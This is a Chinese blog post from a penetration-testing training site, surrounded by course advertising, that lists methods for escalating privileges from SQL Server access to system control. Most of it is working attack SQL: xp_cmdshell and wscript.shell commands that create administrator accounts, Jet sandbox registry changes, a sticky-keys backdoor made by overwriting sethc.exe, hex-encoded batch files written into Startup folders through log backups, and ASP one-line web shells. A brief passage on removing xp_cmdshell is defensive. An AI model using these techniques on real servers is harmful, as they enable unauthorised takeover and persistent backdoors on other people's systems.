MSSQL/SQLSERVER 数据库提权的五种方法

2019年04月01日 16:51:38 作者:必火 阅读数:3354159
网络安全渗透测试北京实地培训,五个月华丽蜕变,零元入学,报名联系:15320004362(手机同微信)。全国诚招招生代理,最低2000元起
第九期开班时间:2021年3月22日

抢先领取全套VIP视频教程

+10天免费学习名额

  已有8166人参加


视频课程

姓名 选填

电话


  张*燕188****220722分钟前

  王*军186****864498分钟前

  李*如189****445354分钟前

>>  稍后老师联系您发送相关视频课程  <<



报名CTF挑战赛,  预约名师指导

  已有 2366 人参加
姓名 选填

电话


  郭*明170****234291分钟前

  赵*东189****289646分钟前

  蔡*培135****589722分钟前





   

网络安全渗透测试群(必火安全学院):信息安全渗透测试群

护网行动日薪千元(初级中级高级)群:护网行动必火业余班级


1,xp_cmdshll

可能需要开启这个组件,详情见: 开启xp_cmdshell

2,sp_oacreate 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO

3,利用沙盒模式

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure

************************************ 利用SQL沙盒模式 ********************************

note:什么是沙盒模式?

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的.

首先开启沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

然后利用jet.oledb执行系统命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')

搞定 ^_^ !


4,利用sethc.exe 替换文件提权

代码:

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'copyfile',null,'c:\windows\cmd.exe' ,'c:\windows\system32\sethc.exe';

代码:

declare @oo int

exec sp_oacreate 'scripting.filesystemobject', @oo out

exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

5,利用差异备份功能,把添加用户的命令添加到启动项start.bat

alter database [abc] set RECOVERY FULL--



create table cmd (a image)--

backup log [abc] to disk = 'c:\cmd1' with init--

insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)--

backup log [abc] to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\start.bat'--

drop table cmd--




详细内容如下:

 在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结

*************************** 利用xp_cmdshell ***********************************

一.更改sa口令方法:

用sql综合利用工具连接后,执行命令:

exec sp_password NULL,'新密码','sa'

(提示:慎用!)



二.简单修补sa弱口令.



方法1:查询分离器连接后执行:

if exists (select * from

dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

然后按F5键命令执行完毕

方法2:查询分离器连接后

第一步执行:use master

第二步执行:sp_dropextendedproc 'xp_cmdshell'

然后按F5键命令执行完毕

三.恢复xp_cmdshell

简单恢复xp_cmdshell

;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'--

1.未能找到存储过程'master..xpcmdshell'.

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕

2.无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块)

恢复方法:查询分离器连接后,

第一步执行:sp_dropextendedproc "xp_cmdshell"

第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

然后按F5键命令执行完毕



3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序)

恢复方法:查询分离器连接后,

第一步执行:exec sp_dropextendedproc 'xp_cmdshell'

第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

然后按F5键命令执行完毕



四、利用xp_cmdshell

exec master..xp_cmdshell 'ver'

exec master.dbo.xp_cmdshell 'net user test test /add'

exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'

五.SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开

开启xp_cmdshell:

exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

关闭xp_cmdshell:

exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;

开启'OPENROWSET':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ad Hoc Distributed Queries',1;RECONFIGURE;

开启'sp_oacreate':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure'Ole Automation Procedures',1;RECONFIGURE;

******************************* 利用wscript.shell *****************************************

使用wscript.shell直接添加系统帐户:

查询分离器连接后,xp或2003server系统下使用:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

******************** sa无xp_cmdshell下的提权 ***********************

代码:

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

代码:

declare @oo int

exec sp_oacreate 'scripting.filesystemobject', @oo out

exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

成功后3389登陆按五次shift键。成功进入服务器。

一直向上点”我的电脑“右键“管理” 用户管理直接加用户。

****************************** 超必杀:利用db_owner *************************

先测试xp_cmdshell是否可用

exec master..xp_cmdshell 'ver'

提示权限拒绝,db_owner权限.

利用xp_dirtree列目录

exec master..xp_dirtree 'c:\',1,1

查看启动项

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

列数据库

SELECT DB_NAME()

利用url或者sql查询器log备份bat或一句话

alter database [northwind] set RECOVERY FULL--

create table cmd (a image)--

backup log [northwind] to disk = 'c:\cmd1' with init--

insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--

backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--

drop table cmd--

再去查看一下启动项就有一个bat了

exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

最后,等着administrator重新登陆或者重启就OK了!

note:bat文件是shift脚本就是shift后门,用HEX转的16进制,可修改替换.

************************ 存储过程写文件 *************************

exec master.dbo.xp_subdirs 'c:\www\';

exec sp_makewebtask 'c:\www\hack.asp','select''<%execute(request("SB"))%>'' '

declare @o int, @f int, @t int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'createtextfile', @f out, 'c:\testing.txt', 1

exec @ret = sp_oamethod @f, 'writeline', NULL,<<testing>>

*********************** 一句话表达式为,容错改Execute为Eval *************

<%%25Excute(request("sb"))%%25>

<%Excute(request("sb"))%>

%><%execute request("sb")%><%

<script language=VBScript runat=server>execute request("sb")</script>

<%25Execute(request("sb"))%25>

感谢:jude_liu